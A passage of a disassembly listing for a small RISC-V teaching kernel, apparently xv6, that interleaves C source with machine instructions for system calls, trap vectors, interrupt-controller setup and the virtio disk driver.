s2,s4,80005938 <sys_exec+0x5a> kfree(argv[i]); return ret; bad: for(i = 0; i < NELEM(argv) && argv[i] != 0; i++) 80005986: 10048913 addi s2,s1,256 8000598a: 6088 ld a0,0(s1) 8000598c: c529 beqz a0,800059d6 <sys_exec+0xf8> kfree(argv[i]); 8000598e: ffffb097 auipc ra,0xffffb 80005992: 096080e7 jalr 150(ra) # 80000a24 <kfree> for(i = 0; i < NELEM(argv) && argv[i] != 0; i++) 80005996: 04a1 addi s1,s1,8 80005998: ff2499e3 bne s1,s2,8000598a <sys_exec+0xac> return -1; 8000599c: 597d li s2,-1 8000599e: a82d j 800059d8 <sys_exec+0xfa> argv[i] = 0; 800059a0: 0a8e slli s5,s5,0x3 800059a2: fc040793 addi a5,s0,-64 800059a6: 9abe add s5,s5,a5 800059a8: e80ab023 sd zero,-384(s5) int ret = exec(path, argv); 800059ac: e4040593 addi a1,s0,-448 800059b0: f4040513 addi a0,s0,-192 800059b4: fffff097 auipc ra,0xfffff 800059b8: 194080e7 jalr 404(ra) # 80004b48 <exec> 800059bc: 892a mv s2,a0 for(i = 0; i < NELEM(argv) && argv[i] != 0; i++) 800059be: 10048993 addi s3,s1,256 800059c2: 6088 ld a0,0(s1) 800059c4: c911 beqz a0,800059d8 <sys_exec+0xfa> kfree(argv[i]); 800059c6: ffffb097 auipc ra,0xffffb 800059ca: 05e080e7 jalr 94(ra) # 80000a24 <kfree> for(i = 0; i < NELEM(argv) && argv[i] != 0; i++) 800059ce: 04a1 addi s1,s1,8 800059d0: ff3499e3 bne s1,s3,800059c2 <sys_exec+0xe4> 800059d4: a011 j 800059d8 <sys_exec+0xfa> return -1; 800059d6: 597d li s2,-1 } 800059d8: 854a mv a0,s2 800059da: 60be ld ra,456(sp) 800059dc: 641e ld s0,448(sp) 800059de: 74fa ld s1,440(sp) 800059e0: 795a ld s2,432(sp) 800059e2: 79ba ld s3,424(sp) 800059e4: 7a1a ld s4,416(sp) 800059e6: 6afa ld s5,408(sp) 800059e8: 6179 addi sp,sp,464 800059ea: 8082 ret 00000000800059ec <sys_pipe>: uint64 sys_pipe(void) { 800059ec: 7139 addi sp,sp,-64 800059ee: fc06 sd ra,56(sp) 800059f0: f822 sd s0,48(sp) 800059f2: f426 sd s1,40(sp) 800059f4: 0080 addi s0,sp,64 uint64 fdarray; // user pointer to array of two integers struct file *rf, *wf; int fd0, fd1; struct proc *p = myproc(); 800059f6: ffffc097 auipc ra,0xffffc 800059fa: fe8080e7 jalr -24(ra) # 800019de <myproc> 800059fe: 84aa mv s1,a0 if(argaddr(0, &fdarray) < 0) 80005a00: fd840593 addi a1,s0,-40 80005a04: 4501 li a0,0 80005a06: ffffd097 auipc ra,0xffffd 80005a0a: 0b4080e7 jalr 180(ra) # 80002aba <argaddr> return -1; 80005a0e: 57fd li a5,-1 if(argaddr(0, &fdarray) < 0) 80005a10: 0e054063 bltz a0,80005af0 <sys_pipe+0x104> if(pipealloc(&rf, &wf) < 0) 80005a14: fc840593 addi a1,s0,-56 80005a18: fd040513 addi a0,s0,-48 80005a1c: fffff097 auipc ra,0xfffff 80005a20: dd2080e7 jalr -558(ra) # 800047ee <pipealloc> return -1; 80005a24: 57fd li a5,-1 if(pipealloc(&rf, &wf) < 0) 80005a26: 0c054563 bltz a0,80005af0 <sys_pipe+0x104> fd0 = -1; 80005a2a: fcf42223 sw a5,-60(s0) if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 80005a2e: fd043503 ld a0,-48(s0) 80005a32: fffff097 auipc ra,0xfffff 80005a36: 508080e7 jalr 1288(ra) # 80004f3a <fdalloc> 80005a3a: fca42223 sw a0,-60(s0) 80005a3e: 08054c63 bltz a0,80005ad6 <sys_pipe+0xea> 80005a42: fc843503 ld a0,-56(s0) 80005a46: fffff097 auipc ra,0xfffff 80005a4a: 4f4080e7 jalr 1268(ra) # 80004f3a <fdalloc> 80005a4e: fca42023 sw a0,-64(s0) 80005a52: 06054863 bltz a0,80005ac2 <sys_pipe+0xd6> p->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } if(copyout(p->pagetable, fdarray, (char*)&fd0, sizeof(fd0)) < 0 || 80005a56: 4691 li a3,4 80005a58: fc440613 addi a2,s0,-60 80005a5c: fd843583 ld a1,-40(s0) 80005a60: 68a8 ld a0,80(s1) 80005a62: ffffc097 auipc ra,0xffffc 80005a66: c70080e7 jalr -912(ra) # 800016d2 <copyout> 80005a6a: 02054063 bltz a0,80005a8a <sys_pipe+0x9e> copyout(p->pagetable, fdarray+sizeof(fd0), (char *)&fd1, sizeof(fd1)) < 0){ 80005a6e: 4691 li a3,4 80005a70: fc040613 addi a2,s0,-64 80005a74: fd843583 ld a1,-40(s0) 80005a78: 0591 addi a1,a1,4 80005a7a: 68a8 ld a0,80(s1) 80005a7c: ffffc097 auipc ra,0xffffc 80005a80: c56080e7 jalr -938(ra) # 800016d2 <copyout> p->ofile[fd1] = 0; fileclose(rf); fileclose(wf); return -1; } return 0; 80005a84: 4781 li a5,0 if(copyout(p->pagetable, fdarray, (char*)&fd0, sizeof(fd0)) < 0 || 80005a86: 06055563 bgez a0,80005af0 <sys_pipe+0x104> p->ofile[fd0] = 0; 80005a8a: fc442783 lw a5,-60(s0) 80005a8e: 07e9 addi a5,a5,26 80005a90: 078e slli a5,a5,0x3 80005a92: 97a6 add a5,a5,s1 80005a94: 0007b023 sd zero,0(a5) p->ofile[fd1] = 0; 80005a98: fc042503 lw a0,-64(s0) 80005a9c: 0569 addi a0,a0,26 80005a9e: 050e slli a0,a0,0x3 80005aa0: 9526 add a0,a0,s1 80005aa2: 00053023 sd zero,0(a0) fileclose(rf); 80005aa6: fd043503 ld a0,-48(s0) 80005aaa: fffff097 auipc ra,0xfffff 80005aae: 9ee080e7 jalr -1554(ra) # 80004498 <fileclose> fileclose(wf); 80005ab2: fc843503 ld a0,-56(s0) 80005ab6: fffff097 auipc ra,0xfffff 80005aba: 9e2080e7 jalr -1566(ra) # 80004498 <fileclose> return -1; 80005abe: 57fd li a5,-1 80005ac0: a805 j 80005af0 <sys_pipe+0x104> if(fd0 >= 0) 80005ac2: fc442783 lw a5,-60(s0) 80005ac6: 0007c863 bltz a5,80005ad6 <sys_pipe+0xea> p->ofile[fd0] = 0; 80005aca: 01a78513 addi a0,a5,26 80005ace: 050e slli a0,a0,0x3 80005ad0: 9526 add a0,a0,s1 80005ad2: 00053023 sd zero,0(a0) fileclose(rf); 80005ad6: fd043503 ld a0,-48(s0) 80005ada: fffff097 auipc ra,0xfffff 80005ade: 9be080e7 jalr -1602(ra) # 80004498 <fileclose> fileclose(wf); 80005ae2: fc843503 ld a0,-56(s0) 80005ae6: fffff097 auipc ra,0xfffff 80005aea: 9b2080e7 jalr -1614(ra) # 80004498 <fileclose> return -1; 80005aee: 57fd li a5,-1 } 80005af0: 853e mv a0,a5 80005af2: 70e2 ld ra,56(sp) 80005af4: 7442 ld s0,48(sp) 80005af6: 74a2 ld s1,40(sp) 80005af8: 6121 addi sp,sp,64 80005afa: 8082 ret 80005afc: 0000 unimp ... 0000000080005b00 <kernelvec>: 80005b00: 7111 addi sp,sp,-256 80005b02: e006 sd ra,0(sp) 80005b04: e40a sd sp,8(sp) 80005b06: e80e sd gp,16(sp) 80005b08: ec12 sd tp,24(sp) 80005b0a: f016 sd t0,32(sp) 80005b0c: f41a sd t1,40(sp) 80005b0e: f81e sd t2,48(sp) 80005b10: fc22 sd s0,56(sp) 80005b12: e0a6 sd s1,64(sp) 80005b14: e4aa sd a0,72(sp) 80005b16: e8ae sd a1,80(sp) 80005b18: ecb2 sd a2,88(sp) 80005b1a: f0b6 sd a3,96(sp) 80005b1c: f4ba sd a4,104(sp) 80005b1e: f8be sd a5,112(sp) 80005b20: fcc2 sd a6,120(sp) 80005b22: e146 sd a7,128(sp) 80005b24: e54a sd s2,136(sp) 80005b26: e94e sd s3,144(sp) 80005b28: ed52 sd s4,152(sp) 80005b2a: f156 sd s5,160(sp) 80005b2c: f55a sd s6,168(sp) 80005b2e: f95e sd s7,176(sp) 80005b30: fd62 sd s8,184(sp) 80005b32: e1e6 sd s9,192(sp) 80005b34: e5ea sd s10,200(sp) 80005b36: e9ee sd s11,208(sp) 80005b38: edf2 sd t3,216(sp) 80005b3a: f1f6 sd t4,224(sp) 80005b3c: f5fa sd t5,232(sp) 80005b3e: f9fe sd t6,240(sp) 80005b40: d8bfc0ef jal ra,800028ca <kerneltrap> 80005b44: 6082 ld ra,0(sp) 80005b46: 6122 ld sp,8(sp) 80005b48: 61c2 ld gp,16(sp) 80005b4a: 7282 ld t0,32(sp) 80005b4c: 7322 ld t1,40(sp) 80005b4e: 73c2 ld t2,48(sp) 80005b50: 7462 ld s0,56(sp) 80005b52: 6486 ld s1,64(sp) 80005b54: 6526 ld a0,72(sp) 80005b56: 65c6 ld a1,80(sp) 80005b58: 6666 ld a2,88(sp) 80005b5a: 7686 ld a3,96(sp) 80005b5c: 7726 ld a4,104(sp) 80005b5e: 77c6 ld a5,112(sp) 80005b60: 7866 ld a6,120(sp) 80005b62: 688a ld a7,128(sp) 80005b64: 692a ld s2,136(sp) 80005b66: 69ca ld s3,144(sp) 80005b68: 6a6a ld s4,152(sp) 80005b6a: 7a8a ld s5,160(sp) 80005b6c: 7b2a ld s6,168(sp) 80005b6e: 7bca ld s7,176(sp) 80005b70: 7c6a ld s8,184(sp) 80005b72: 6c8e ld s9,192(sp) 80005b74: 6d2e ld s10,200(sp) 80005b76: 6dce ld s11,208(sp) 80005b78: 6e6e ld t3,216(sp) 80005b7a: 7e8e ld t4,224(sp) 80005b7c: 7f2e ld t5,232(sp) 80005b7e: 7fce ld t6,240(sp) 80005b80: 6111 addi sp,sp,256 80005b82: 10200073 sret 80005b86: 00000013 nop 80005b8a: 00000013 nop 80005b8e: 0001 nop 0000000080005b90 <timervec>: 80005b90: 34051573 csrrw a0,mscratch,a0 80005b94: e10c sd a1,0(a0) 80005b96: e510 sd a2,8(a0) 80005b98: e914 sd a3,16(a0) 80005b9a: 710c ld a1,32(a0) 80005b9c: 7510 ld a2,40(a0) 80005b9e: 6194 ld a3,0(a1) 80005ba0: 96b2 add a3,a3,a2 80005ba2: e194 sd a3,0(a1) 80005ba4: 4589 li a1,2 80005ba6: 14459073 csrw sip,a1 80005baa: 6914 ld a3,16(a0) 80005bac: 6510 ld a2,8(a0) 80005bae: 610c ld a1,0(a0) 80005bb0: 34051573 csrrw a0,mscratch,a0 80005bb4: 30200073 mret ... 0000000080005bba <plicinit>: // the riscv Platform Level Interrupt Controller (PLIC). // void plicinit(void) { 80005bba: 1141 addi sp,sp,-16 80005bbc: e422 sd s0,8(sp) 80005bbe: 0800 addi s0,sp,16 // set desired IRQ priorities non-zero (otherwise disabled). *(uint32*)(PLIC + UART0_IRQ*4) = 1; 80005bc0: 0c0007b7 lui a5,0xc000 80005bc4: 4705 li a4,1 80005bc6: d798 sw a4,40(a5) *(uint32*)(PLIC + VIRTIO0_IRQ*4) = 1; 80005bc8: c3d8 sw a4,4(a5) } 80005bca: 6422 ld s0,8(sp) 80005bcc: 0141 addi sp,sp,16 80005bce: 8082 ret 0000000080005bd0 <plicinithart>: void plicinithart(void) { 80005bd0: 1141 addi sp,sp,-16 80005bd2: e406 sd ra,8(sp) 80005bd4: e022 sd s0,0(sp) 80005bd6: 0800 addi s0,sp,16 int hart = cpuid(); 80005bd8: ffffc097 auipc ra,0xffffc 80005bdc: dda080e7 jalr -550(ra) # 800019b2 <cpuid> // set uart's enable bit for this hart's S-mode. *(uint32*)PLIC_SENABLE(hart)= (1 << UART0_IRQ) | (1 << VIRTIO0_IRQ); 80005be0: 0085171b slliw a4,a0,0x8 80005be4: 0c0027b7 lui a5,0xc002 80005be8: 97ba add a5,a5,a4 80005bea: 40200713 li a4,1026 80005bee: 08e7a023 sw a4,128(a5) # c002080 <_entry-0x73ffdf80> // set this hart's S-mode priority threshold to 0. *(uint32*)PLIC_SPRIORITY(hart) = 0; 80005bf2: 00d5151b slliw a0,a0,0xd 80005bf6: 0c2017b7 lui a5,0xc201 80005bfa: 953e add a0,a0,a5 80005bfc: 00052023 sw zero,0(a0) } 80005c00: 60a2 ld ra,8(sp) 80005c02: 6402 ld s0,0(sp) 80005c04: 0141 addi sp,sp,16 80005c06: 8082 ret 0000000080005c08 <plic_claim>: // ask the PLIC what interrupt we should serve. int plic_claim(void) { 80005c08: 1141 addi sp,sp,-16 80005c0a: e406 sd ra,8(sp) 80005c0c: e022 sd s0,0(sp) 80005c0e: 0800 addi s0,sp,16 int hart = cpuid(); 80005c10: ffffc097 auipc ra,0xffffc 80005c14: da2080e7 jalr -606(ra) # 800019b2 <cpuid> int irq = *(uint32*)PLIC_SCLAIM(hart); 80005c18: 00d5179b slliw a5,a0,0xd 80005c1c: 0c201537 lui a0,0xc201 80005c20: 953e add a0,a0,a5 return irq; } 80005c22: 4148 lw a0,4(a0) 80005c24: 60a2 ld ra,8(sp) 80005c26: 6402 ld s0,0(sp) 80005c28: 0141 addi sp,sp,16 80005c2a: 8082 ret 0000000080005c2c <plic_complete>: // tell the PLIC we've served this IRQ. void plic_complete(int irq) { 80005c2c: 1101 addi sp,sp,-32 80005c2e: ec06 sd ra,24(sp) 80005c30: e822 sd s0,16(sp) 80005c32: e426 sd s1,8(sp) 80005c34: 1000 addi s0,sp,32 80005c36: 84aa mv s1,a0 int hart = cpuid(); 80005c38: ffffc097 auipc ra,0xffffc 80005c3c: d7a080e7 jalr -646(ra) # 800019b2 <cpuid> *(uint32*)PLIC_SCLAIM(hart) = irq; 80005c40: 00d5151b slliw a0,a0,0xd 80005c44: 0c2017b7 lui a5,0xc201 80005c48: 97aa add a5,a5,a0 80005c4a: c3c4 sw s1,4(a5) } 80005c4c: 60e2 ld ra,24(sp) 80005c4e: 6442 ld s0,16(sp) 80005c50: 64a2 ld s1,8(sp) 80005c52: 6105 addi sp,sp,32 80005c54: 8082 ret 0000000080005c56 <free_desc>: } // mark a descriptor as free. static void free_desc(int i) { 80005c56: 1141 addi sp,sp,-16 80005c58: e406 sd ra,8(sp) 80005c5a: e022 sd s0,0(sp) 80005c5c: 0800 addi s0,sp,16 if(i >= NUM) 80005c5e: 479d li a5,7 80005c60: 04a7cc63 blt a5,a0,80005cb8 <free_desc+0x62> panic("virtio_disk_intr 1"); if(disk.free[i]) 80005c64: 0001d797 auipc a5,0x1d 80005c68: 39c78793 addi a5,a5,924 # 80023000 <disk> 80005c6c: 00a78733 add a4,a5,a0 80005c70: 6789 lui a5,0x2 80005c72: 97ba add a5,a5,a4 80005c74: 0187c783 lbu a5,24(a5) # 2018 <_entry-0x7fffdfe8> 80005c78: eba1 bnez a5,80005cc8 <free_desc+0x72> panic("virtio_disk_intr 2"); disk.desc[i].addr = 0; 80005c7a: 00451713 slli a4,a0,0x4 80005c7e: 0001f797 auipc a5,0x1f 80005c82: 3827b783 ld a5,898(a5) # 80025000 <disk+0x2000> 80005c86: 97ba add a5,a5,a4 80005c88: 0007b023 sd zero,0(a5) disk.free[i] = 1; 80005c8c: 0001d797 auipc a5,0x1d 80005c90: 37478793 addi a5,a5,884 # 80023000 <disk> 80005c94: 97aa add a5,a5,a0 80005c96: 6509 lui a0,0x2 80005c98: 953e add a0,a0,a5 80005c9a: 4785 li a5,1 80005c9c: 00f50c23 sb a5,24(a0) # 2018 <_entry-0x7fffdfe8> wakeup(&disk.free[0]); 80005ca0: 0001f517 auipc a0,0x1f 80005ca4: 37850513 addi a0,a0,888 # 80025018 <disk+0x2018> 80005ca8: ffffc097 auipc ra,0xffffc 80005cac: 6c8080e7 jalr 1736(ra) # 80002370 <wakeup> } 80005cb0: 60a2 ld ra,8(sp) 80005cb2: 6402 ld s0,0(sp) 80005cb4: 0141 addi sp,sp,16 80005cb6: 8082 ret panic("virtio_disk_intr 1"); 80005cb8: 00003517 auipc a0,0x3 80005cbc: aa050513 addi a0,a0,-1376 # 80008758 <syscalls+0x330> 80005cc0: ffffb097 auipc ra,0xffffb 80005cc4: 888080e7 jalr -1912(ra) # 80000548 <panic> panic("virtio_disk_intr 2"); 80005cc8: 00003517 auipc a0,0x3 80005ccc: aa850513 addi a0,a0,-1368 # 80008770 <syscalls+0x348> 80005cd0: ffffb097 auipc ra,0xffffb 80005cd4: 878080e7 jalr -1928(ra) # 80000548 <panic> 0000000080005cd8 <virtio_disk_init>: { 80005cd8: 1101 addi sp,sp,-32 80005cda: ec06 sd ra,24(sp) 80005cdc: e822 sd s0,16(sp) 80005cde: e426 sd s1,8(sp) 80005ce0: 1000 addi s0,sp,32 initlock(&disk.vdisk_lock, "virtio_disk"); 80005ce2: 00003597 auipc a1,0x3 80005ce6: aa658593 addi a1,a1,-1370 # 80008788 <syscalls+0x360> 80005cea: 0001f517 auipc a0,0x1f 80005cee: 3be50513 addi a0,a0,958 # 800250a8 <disk+0x20a8> 80005cf2: ffffb097 auipc ra,0xffffb 80005cf6: e8e080e7 jalr -370(ra) # 80000b80 <initlock> if(*R(VIRTIO_MMIO_MAGIC_VALUE) != 0x74726976 || 80005cfa: 100017b7 lui a5,0x10001 80005cfe: 4398 lw a4,0(a5) 80005d00: 2701 sext.w a4,a4 80005d02: 747277b7 lui a5,0x74727 80005d06: 97678793 addi a5,a5,-1674 # 74726976 <_entry-0xb8d968a> 80005d0a: 0ef71163 bne a4,a5,80005dec <virtio_disk_init+0x114> *R(VIRTIO_MMIO_VERSION) != 1 || 80005d0e: 100017b7 lui a5,0x10001 80005d12: 43dc lw a5,4(a5) 80005d14: 2781 sext.w a5,a5 if(*R(VIRTIO_MMIO_MAGIC_VALUE) != 0x74726976 || 80005d16: 4705 li a4,1 80005d18: 0ce79a63 bne a5,a4,80005dec <virtio_disk_init+0x114> *R(VIRTIO_MMIO_DEVICE_ID) != 2 || 80005d1c: 100017b7 lui a5,0x10001 80005d20: 479c lw a5,8(a5) 80005d22: 2781 sext.w a5,a5 *R(VIRTIO_MMIO_VERSION) != 1 || 80005d24: 4709 li a4,2 80005d26: 0ce79363 bne a5,a4,80005dec <virtio_disk_init+0x114> *R(VIRTIO_MMIO_VENDOR_ID) != 0x554d4551){ 80005d2a: 100017b7 lui a5,0x10001 80005d2e: 47d8 lw a4,12(a5) 80005d30: 2701 sext.w a4,a4 *R(VIRTIO_MMIO_DEVICE_ID) != 2 || 80005d32: 554d47b7 lui a5,0x554d4 80005d36: 55178793 addi a5,a5,1361 # 554d4551 <_entry-0x2ab2baaf> 80005d3a: 0af71963 bne a4,a5,80005dec <virtio_disk_init+0x114> *R(VIRTIO_MMIO_STATUS) = status; 80005d3e: 100017b7 lui a5,0x10001 80005d42: 4705 li a4,1 80005d44: dbb8 sw a4,112(a5) *R(VIRTIO_MMIO_STATUS) = status; 80005d46: 470d li a4,3 80005d48: dbb8 sw a4,112(a5) uint64 features = *R(VIRTIO_MMIO_DEVICE_FEATURES); 80005d4a: 4b94 lw a3,16(a5) features &= ~(1 << VIRTIO_RING_F_INDIRECT_DESC); 80005d4c: c7ffe737 lui a4,0xc7ffe 80005d50: 75f70713 addi a4,a4,1887 # ffffffffc7ffe75f <end+0xffffffff47fd875f> 80005d54: 8f75 and a4,a4,a3 *R(VIRTIO_MMIO_DRIVER_FEATURES) = features; 80005d56: 2701 sext.w a4,a4 80005d58: d398 sw a4,32(a5) *R(VIRTIO_MMIO_STATUS) = status; 80005d5a: 472d li a4,11 80005d5c: dbb8 sw a4,112(a5) *R(VIRTIO_MMIO_STATUS) = status; 80005d5e: 473d li a4,15 80005d60: dbb8 sw a4,112(a5) *R(VIRTIO_MMIO_GUEST_PAGE_SIZE) = PGSIZE; 80005d62: 6705 lui a4,0x1 80005d64: d798 sw a4,40(a5) *R(VIRTIO_MMIO_QUEUE_SEL) = 0; 80005d66: 0207a823 sw zero,48(a5) # 10001030 <_entry-0x6fffefd0> uint32 max = *R(VIRTIO_MMIO_QUEUE_NUM_MAX); 80005d6a: 5bdc lw a5,52(a5) 80005d6c: 2781 sext.w a5,a5 if(max == 0) 80005d6e: c7d9 beqz a5,80005dfc <virtio_disk_init+0x124> if(max < NUM) 80005d70: 471d li a4,7 80005d72: 08f77d63 bgeu a4,a5,80005e0c <virtio_disk_init+0x134> *R(VIRTIO_MMIO_QUEUE_NUM) = NUM; 80005d76: 100014b7 lui s1,0x10001 80005d7a: 47a1 li a5,8 80005d7c: dc9c sw a5,56(s1) memset(disk.pages, 0, sizeof(disk.pages)); 80005d7e: 6609 lui a2,0x2 80005d80: 4581 li a1,0 80005d82: 0001d517 auipc a0,0x1d 80005d86: 27e50513 addi a0,a0,638 # 80023000 <disk> 80005d8a: ffffb097 auipc ra,0xffffb 80005d8e: f82080e7 jalr -126(ra) # 80000d0c <memset> *R(VIRTIO_MMIO_QUEUE_PFN) = ((uint64)disk.pages) >> PGSHIFT; 80005d92: 0001d717 auipc a4,0x1d 80005d96: 26e70713 addi a4,a4,622 # 80023000 <disk> 80005d9a: 00c75793 srli a5,a4,0xc 80005d9e: 2781 sext.w a5,a5 80005da0: c0bc sw a5,64(s1) disk.desc = (struct VRingDesc *) disk.pages; 80005da2: 0001f797 auipc a5,0x1f 80005da6: 25e78793 addi a5,a5,606 # 80025000 <disk+0x2000> 80005daa: e398 sd a4,0(a5) disk.avail = (uint16*)(((char*)disk.desc) + NUM*sizeof(struct VRingDesc)); 80005dac: 0001d717 auipc a4,0x1d 80005db0: 2d470713 addi a4,a4,724 # 80023080 <disk+0x80> 80005db4: e798 sd a4,8(a5) disk.used = (struct UsedArea *) (disk.pages + PGSIZE); 80005db6: 0001e717 auipc a4,0x1e 80005dba: 24a70713 addi a4,a4,586 # 80024000 <disk+0x1000> 80005dbe: eb98 sd a4,16(a5) disk.free[i] = 1; 80005dc0: 4705 li a4,1 80005dc2: 00e78c23 sb a4,24(a5) 80005dc6: 00e78ca3 sb a4,25(a5) 80005dca: 00e78d23 sb a4,26(a5) 80005dce: 00e78da3 sb a4,27(a5) 80005dd2: 00e78e23 sb a4,28(a5) 80005dd6: 00e78ea3 sb a4,29(a5) 80005dda: 00e78f23 sb a4,30(a5) 80005dde: 00e78fa3 sb a4,31(a5) } 80005de2: 60e2 ld ra,24(sp) 80005de4: 6442 ld s0,16(sp) 80005de6: 64a2 ld s1,8(sp) 80005de8: 6105 addi sp,sp,32 80005dea: 8082 ret panic("could not find virtio disk"); 80005dec: 00003517 auipc a0,0x3 80005df0: 9ac50513 addi a0,a0,-1620 # 80008798 <syscalls+0x370> 80005df4: ffffa097 auipc ra,0xffffa 80005df8: 754080e7 jalr 1876(ra) # 80000548 <panic> panic("virtio disk has no queue 0"); 80005dfc: 00003517 auipc a0,0x3 80005e00: 9bc50513 addi a0,a0,-1604 # 800087b8 <syscalls+0x390> 80005e04: ffffa097 auipc ra,0xffffa 80005e08: 744080e7 jalr 1860(ra) # 80000548 <panic> panic("virtio disk max queue too short"); 80005e0c: 00003517 auipc a0,0x3 80005e10: 9cc50513 addi a0,a0,-1588 # 800087d8 <syscalls+0x3b0> 80005e14: ffffa097 auipc ra,0xffffa 80005e18: 734080e7 jalr 1844(ra) # 80000548 <panic> 0000000080005e1c <virtio_disk_rw>: return 0; } void virtio_disk_rw(struct buf *b, int write) { 80005e1c: 7119 addi sp,sp,-128 80005e1e: fc86 sd ra,120(sp) 80005e20: f8a2 sd s0,112(sp) 80005e22: f4a6 sd s1,104(sp) 80005e24: f0ca sd s2,96(sp) 80005e26: ecce sd s3,88(sp) 80005e28: e8d2 sd s4,80(sp) 80005e2a: e4d6 sd s5,72(sp) 80005e2c: e0da sd s6,64(sp) 80005e2e: fc5e sd s7,56(sp) 80005e30: f862 sd s8,48(sp) 80005e32: f466 sd s9,40(sp) 80005e34: f06a sd s10,32(sp) 80005e36: 0100 addi s0,sp,128 80005e38: 892a mv s2,a0 80005e3a: 8d2e mv s10,a1 uint64 sector = b->blockno * (BSIZE / 512); 80005e3c: 00c52c83 lw s9,12(a0) 80005e40: 001c9c9b slliw s9,s9,0x1 80005e44: 1c82 slli s9,s9,0x20 80005e46: 020cdc93 srli s9,s9,0x20 acquire(&disk.vdisk_lock); 80005e4a: 0001f517 auipc a0,0x1f 80005e4e: 25e50513 addi a0,a0,606 # 800250a8 <disk+0x20a8> 80005e52: ffffb097 auipc ra,0xffffb 80005e56: dbe080e7 jalr -578(ra) # 80000c10 <acquire> for(int i = 0; i < 3; i++){ 80005e5a: 4981 li s3,0 for(int i = 0; i < NUM; i++){ 80005e5c: 4c21 li s8,8 disk.free[i] = 0; 80005e5e: 0001db97 auipc s7,0x1d 80005e62: 1a2b8b93 addi s7,s7,418 # 80023000 <disk> 80005e66: 6b09 lui s6,0x2 for(int i = 0; i < 3; i++){ 80005e68: 4a8d li s5,3 for(int i = 0; i < NUM; i++){ 80005e6a: 8a4e mv s4,s3 80005e6c: a051 j 80005ef0 <virtio_disk_rw+0xd4> disk.free[i] = 0; 80005e6e: 00fb86b3 add a3,s7,a5 80005e72: 96da add a3,a3,s6 80005e74: 00068c23 sb zero,24(a3) idx[i] = alloc_desc(); 80005e78: c21c sw a5,0(a2) if(idx[i] < 0){ 80005e7a: 0207c563 bltz a5,80005ea4 <virtio_disk_rw+0x88> for(int i = 0; i < 3; i++){ 80005e7e: 2485 addiw s1,s1,1 80005e80: 0711 addi a4,a4,4 80005e82: 23548d63 beq s1,s5,800060bc <virtio_disk_rw+0x2a0> idx[i] = alloc_desc(); 80005e86: 863a mv a2,a4 for(int i = 0; i < NUM; i++){ 80005e88: 0001f697 auipc a3,0x1f 80005e8c: 19068693 addi a3,a3,400 # 80025018 <disk+0x2018> 80005e90: 87d2 mv a5,s4 if(disk.free[i]){ 80005e92: 0006c583 lbu a1,0(a3) 80005e96: fde1 bnez a1,80005e6e <virtio_disk_rw+0x52> for(int i = 0; i < NUM; i++){ 80005e98: 2785 addiw a5,a5,1 80005e9a: 0685 addi a3,a3,1 80005e9c: ff879be3 bne a5,s8,80005e92 <virtio_disk_rw+0x76> idx[i] = alloc_desc(); 80005ea0: 57fd li a5,-1 80005ea2: c21c sw a5,0(a2) for(int j = 0; j < i; j++) 80005ea4: 02905a63 blez s1,80005ed8 <virtio_disk_rw+0xbc> free_desc(idx[j]); 80005ea8: f9042503 lw a0,-112(s0) 80005eac: 00000097 auipc ra,0x0 80005eb0: daa080e7 jalr -598(ra) # 80005c56 <free_desc> for(int j = 0; j < i; j++) 80005eb4: 4785 li a5,1 80005eb6: 0297d163 bge a5,s1,80005ed8 <virtio_disk_rw+0xbc> free_desc(idx[j]); 80005eba: f9442503 lw a0,-108(s0) 80005ebe: 00000097 auipc ra,0x0 80005ec2: d98080e7 jalr -616(ra) # 80005c56 <free_desc> for(int j = 0; j < i; j++) 80005ec6: 4789 li a5,2 80005ec8: 0097d863 bge a5,s1,80005ed8 <virtio_disk_rw+0xbc> free_desc(idx[j]); 80005ecc: f9842503 lw a0,-104(s0) 80005ed0: 00000097 auipc ra,0x0 80005ed4: d86080e7 jalr -634(ra) # 80005c56 <free_desc> int idx[3]; while(1){ if(alloc3_desc(idx) == 0) { break; } sleep(&disk.free[0], &disk.vdisk_lock); 80005ed8: 0001f597 auipc a1,0x1f 80005edc: 1d058593 addi a1,a1,464 # 800250a8 <disk+0x20a8> 80005ee0: 0001f517 auipc a0,0x1f 80005ee4: 13850513 addi a0,a0,312 # 80025018 <disk+0x2018> 80005ee8: ffffc097 auipc ra,0xffffc 80005eec: 302080e7 jalr 770(ra) # 800021ea <sleep> for(int i = 0; i < 3; i++){ 80005ef0: f9040713 addi a4,s0,-112 80005ef4: 84ce mv s1,s3 80005ef6: bf41 j 80005e86 <virtio_disk_rw+0x6a> uint32 reserved; uint64 sector; } buf0; if(write) buf0.type = VIRTIO_BLK_T_OUT; // write the disk 80005ef8: 4785 li a5,1 80005efa: f8f42023 sw a5,-128(s0) else buf0.type = VIRTIO_BLK_T_IN; // read the disk buf0.reserved = 0; 80005efe: f8042223 sw zero,-124(s0) buf0.sector = sector; 80005f02: f9943423 sd s9,-120(s0) // buf0 is on a kernel stack, which is not direct mapped, // thus the call to kvmpa(). disk.desc[idx[0]].addr = (uint64) kvmpa((uint64) &buf0); 80005f06: f9042983 lw s3,-112(s0) 80005f0a: 00499493 slli s1,s3,0x4 80005f0e: 0001fa17 auipc s4,0x1f 80005f12: 0f2a0a13 addi s4,s4,242 # 80025000 <disk+0x2000> 80005f16: 000a3a83 ld s5,0(s4) 80005f1a: 9aa6 add s5,s5,s1 80005f1c: f8040513 addi a0,s0,-128 80005f20: ffffb097 auipc ra,0xffffb 80005f24: 1c0080e7 jalr 448(ra) # 800010e0 <kvmpa> 80005f28: 00aab023 sd a0,0(s5) disk.desc[idx[0]].len = sizeof(buf0); 80005f2c: 000a3783 ld a5,0(s4) 80005f30: 97a6 add a5,a5,s1 80005f32: 4741 li a4,16 80005f34: c798 sw a4,8(a5) disk.desc[idx[0]].flags = VRING_DESC_F_NEXT; 80005f36: 000a3783 ld a5,0(s4) 80005f3a: 97a6 add a5,a5,s1 80005f3c: 4705 li a4,1 80005f3e: 00e79623 sh a4,12(a5) disk.desc[idx[0]].next = idx[1]; 80005f42: f9442703 lw a4,-108(s0) 80005f46: 000a3783 ld a5,0(s4) 80005f4a: 97a6 add a5,a5,s1 80005f4c: 00e79723 sh a4,14(a5) disk.desc[idx[1]].addr = (uint64) b->data; 80005f50: 0712 slli a4,a4,0x4 80005f52: 000a3783 ld a5,0(s4) 80005f56: 97ba add a5,a5,a4 80005f58: 05890693 addi a3,s2,88 80005f5c: e394 sd a3,0(a5) disk.desc[idx[1]].len = BSIZE; 80005f5e: 000a3783 ld a5,0(s4) 80005f62: 97ba add a5,a5,a4 80005f64: 40000693 li 